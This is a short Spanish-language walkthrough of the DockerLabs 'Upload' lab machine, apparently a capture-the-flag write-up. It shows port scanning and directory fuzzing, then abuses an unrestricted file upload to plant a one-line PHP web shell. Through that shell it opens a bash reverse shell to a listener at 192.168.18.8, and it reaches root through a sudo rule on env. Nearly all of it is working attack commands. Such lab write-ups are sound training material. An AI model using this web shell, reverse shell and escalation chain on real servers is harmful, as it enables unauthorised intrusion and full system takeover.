![]() |
|
| Máquina: Upload | |
| SO: Linux | |
| Nivel: Muy Facil | |
| DockerLabs |

1. Descubrimos puertos y servicios de la maquina.
sudo nmap -p- --open -T5 -sCV --min-rate=5000 -n -Pn 172.17.0.2

2. En la web tenemos una subida de archivos.
http://172.17.0.2

3. Hago fuzzing de directorios y ficheros en la web.
gobuster dir -u http://172.17.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directoy-list-2.3-medium.txt -x html,php,txt -q

4. En el php tenemos la misma subida de archivos, y en uploads supongo que se almacena todo lo subido.
http://172.17.0.2/upload.php
http://172.17.0.2/uploads/

5. Creo un php para subirlo y obtener una webshell, nuestro php lo encontramos en uploads.
echo '<?php system($_GET["cmd"]);?>' > shell.php

6. Me pongo en escucha con nc para recibir la reverse shell.
nc -nlvp 4000
http://172.17.0.2/uploads/shell.php?cmd= bash -c "bash -i >%26 /dev/tcp/192.168.18.8/4000 0>%261"

7. Revisando los permisos sudo, tengo este binario que puedo ejecutarlo como root.
sudo -l

8. Escalando privilegios a root, busco en gtfobins sobre el binario.
sudo env /bin/sh

